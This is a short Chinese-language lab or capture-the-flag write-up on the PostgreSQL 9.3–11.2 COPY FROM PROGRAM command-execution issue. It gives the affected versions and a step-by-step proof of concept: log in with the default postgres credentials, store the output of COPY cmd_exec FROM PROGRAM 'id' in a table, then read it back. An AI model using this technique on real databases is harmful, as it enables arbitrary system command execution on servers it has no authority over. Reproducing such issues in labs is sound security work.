漏洞描述
PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。采用类似MIT的许可协议,允许开发人员做任何事情,包括在开源或闭源产品中商用,其源代码是免费提供的。
PostgreSQL特点:
支持WINDOWS、Linux、Solaris、macOS 、BSD。
支持文本、图像、视频、声音等
支持ACID、关联完整性、数据库事务、Unicode多国语言。
支持临时表,与物化视图
支持SQL的许多功能,例如复杂的SQL查询,子查询,外键,触发器,视图,视图,多进程并发控制(MVCC)、异步复制。
PostgreSQL 9.3至11.2版本中的导入导出数据命令COPY TO/FROM PROGRAM存在操作系统命令注入漏洞。攻击者可利用该漏洞获取数据库超级用户权限,从而执行任意系统命令。
https://www.freebuf.com/vuls/261361.html
漏洞影响
PostgreSQL 9.3至11.2
漏洞复现
直接navicat连接数据库,数据库初始账号密码为postgres
执行如下POC:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
注:这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户
1.执行删除你想用来保存命令输出但是可能存在的表,这一步可有可无
DROP TABLE IF EXISTS cmd_exec
2.创建用来保存命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
3.通过 “COPY FROM PROGRAM”执行系统命令
COPY cmd_exec FROM PROGRAM ‘id’;
4.将结果显示出来
SELECT * FROM cmd_exec;
打印环境变量
拿到flag!